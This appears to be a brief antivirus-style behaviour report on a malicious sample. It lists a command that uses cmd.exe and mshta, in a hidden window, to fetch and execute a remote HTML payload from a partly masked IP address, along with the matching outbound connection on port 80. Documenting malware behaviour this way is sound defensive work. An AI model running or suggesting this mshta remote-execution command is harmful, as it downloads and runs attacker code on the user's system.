Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c mshta http://91.##0.118.168/zqqw/zaas/fe.html
Network activity
Connects to
- '91.##0.118.168':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c mshta http://91.##0.118.168/zqqw/zaas/fe.html' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' http://91.##0.118.168/zqqw/zaas/fe.html
